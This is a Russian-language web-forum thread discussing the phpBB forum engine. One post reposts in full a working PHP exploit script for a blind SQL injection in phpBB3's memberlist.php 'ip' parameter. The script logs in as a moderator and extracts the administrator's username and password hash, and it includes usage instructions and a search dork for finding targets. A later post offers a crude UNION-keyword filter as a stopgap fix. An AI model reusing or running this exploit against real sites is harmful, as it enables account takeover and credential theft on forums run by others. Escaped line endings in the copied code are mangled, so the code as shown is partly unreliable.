Старый 03.02.2008, 18:04   #11 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 3,957
Репутация: 1879
Номер ICQ 599613
По умолчанию

ну пагадите с месяцок Найдут)
__________________
Мы те, кто мы есть
Мой личный блог
Devil на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 03.02.2008, 18:45   #12 (permalink)
Администратор
 
Аватар для AleX
 
Специализация: Кодер
Регистрация: 10.01.2008
Адрес: Украина, Киев.
Сообщений: 2,187
Репутация: 1173
Номер ICQ 974909
Отправить сообщение для AleX с помощью Skype™
По умолчанию

Опасность: Высокая

Наличие эксплоита: Да

Описание: Найдена уязвимость в популярном форумном движке phpbb3.

Эксплоит, написан на php, запускать из командной строки:

Код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosuren";
echo "by rgod rgod@autistici.orgn";
echo "site: http://retrogod.altervista.orgn";
echo "dork, version specific: "Powered by phpBB * 2002, 2006 phpBB Group"nn";

/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONSn";
echo "host: target server (ip/hostname)n";
echo "path: path to phpbb3n";
echo "user/pass: u need a valid user account with global moderator rightsn";
echo "Options:n";
echo " -T[prefix] specify a table prefix different from default (phpbb_)n";
echo " -p[port]: specify a port other than 80n";
echo " -P[ip:port]: specify a proxyn";
echo " -u[number]: specify a user id other than 2 (admin)n";
echo " -x: disclose table prefix through error messagesn";
echo "Example:rn";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-urn";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-x")
{
$discl=1;
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0rn";
$packet.="Referer: http://$host$path/ucp.php?mode=loginrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
//echo $html."n";//debug
//die("Unable to login...");
}
echo "cookie -> ".$cookie."rn";
if ($discl)
{
$sql="'suntzuuuuu";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."n";sleep(2);
}
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[******]rn";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[******]rn";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
$j++;
}
echo "--------------------------------------------------------------------rn";
echo "admin -> ".$admin."rn";
echo "password (md5) -> ".$password."rn";
echo "--------------------------------------------------------------------rn";

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
Решение: Способов устранения уязвимости не существует в настоящее время.
__________________
AleX's Blog
AleX на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
3 пользователя(ей) отблагодарили AleX за это сообщение:
Devil (03.02.2008), Kurbatov (03.02.2008), RazorElectric (08.03.2008)
Старый 03.02.2008, 19:09   #13 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 3,957
Репутация: 1879
Номер ICQ 599613
По умолчанию

что и требовалось доказать ))
__________________
Мы те, кто мы есть
Мой личный блог
Devil на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Этот пользователь отблагодарил Devil за это сообщение:
AleX (04.02.2008)
Старый 04.02.2008, 15:54   #14 (permalink)
Новичок
 
Регистрация: 03.02.2008
Сообщений: 3
Репутация: 0
По умолчанию

Про 3 версию я не спорю,гавно оно и есть гавно,но а версия 2.22****** На эту версию не существует ни одного эксплоита=)
:p
BlackEvil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 04.02.2008, 16:22   #15 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 3,957
Репутация: 1879
Номер ICQ 599613
По умолчанию

BlackEvil, существует совершенно во всех версиях пхпбб, посмотри сылку на тот форум что я давал в посте с описанием уязвимостей
__________________
Мы те, кто мы есть
Мой личный блог
Devil на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 04.02.2008, 17:13   #16 (permalink)
Администратор
 
Аватар для AleX
 
Специализация: Кодер
Регистрация: 10.01.2008
Адрес: Украина, Киев.
Сообщений: 2,187
Репутация: 1173
Номер ICQ 974909
Отправить сообщение для AleX с помощью Skype™
По умолчанию

Devil, там еще было
__________________
AleX's Blog
AleX на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 27.02.2008, 19:24   #17 (permalink)
Новичок
 
Регистрация: 25.02.2008
Сообщений: 15
Репутация: 20
По умолчанию Ответ: PhpBB, что за зверь?

Цитата: Сообщение от AleX Посмотреть сообщение
Решение: Способов устранения уязвимости не существует в настоящее время.

Тогда топором это решить, фильтровать бажную переменную ip. Например, вставить такой-вот скрипт в начало файла memberlist.php

Код:
if(substr_count(strtoupper($_GET['ip']),'UNION')>0){
    $_GET['ip']='';
    $HTTP_GET_VARS['ip']='';
}
if(substr_count(strtoupper($_POST['ip']),'UNION')>0){
    $_POST['ip']='';
    $HTTP_POST_VARS['ip']='';
}

Последний раз редактировалось AleX; 27.02.2008 в 19:25..
RXcoder вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
2 пользователя(ей) отблагодарили RXcoder за это сообщение:
Devil (27.02.2008), Kurbatov (28.02.2008)
Старый 27.05.2008, 20:01   #18 (permalink)
Новичок
 
Специализация: Новичок
Регистрация: 27.05.2008
Сообщений: 5
Репутация: 0
По умолчанию Ответ: PhpBB, что за зверь?

на мой взгляд пхпбб не удачный форум, да он простой, но все же SMF или тот же vBulletin
angel4410 вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 28.05.2008, 21:54   #19 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 3,957
Репутация: 1879
Номер ICQ 599613
По умолчанию Ответ: PhpBB, что за зверь?

поюзал я тут троечку....бред чеслово
__________________
Мы те, кто мы есть
Мой личный блог
Devil на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 29.05.2008, 06:07   #20 (permalink)
System Engineer
 
Аватар для Kurbatov
 
Специализация: Кодер
Регистрация: 06.12.2007
Адрес: РФ, РК, Воркута
Сообщений: 912
Репутация: 427
Номер ICQ 628831
Номер ICQ 632381
По умолчанию Ответ: PhpBB, что за зверь?

angel4410, вобла и точка. Лутьше переплатить 100$ и жить спокойно.
__________________
Kurbatov Blog
Kurbatov вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Ответ

« phpBB 3.0.0 Final | - »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
phpBB 3.0.0 Final AleX phpBB 15 03.12.2008 23:26
phpBB 2.0.22 AleX phpBB 4 15.11.2008 18:17
Direct Admin – что это за зверь? Kurbatov Php 15 04.10.2008 15:22
Что за зверь Phorum? AleX Phorum 0 29.02.2008 21:40
phpBB 2 - интеграция RXcoder phpBB 0 25.02.2008 02:45



Часовой пояс GMT +4, время: 23:18.
Powered by vBulletin® Version 64.43.1 Ω
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Web Mastering By Devil Art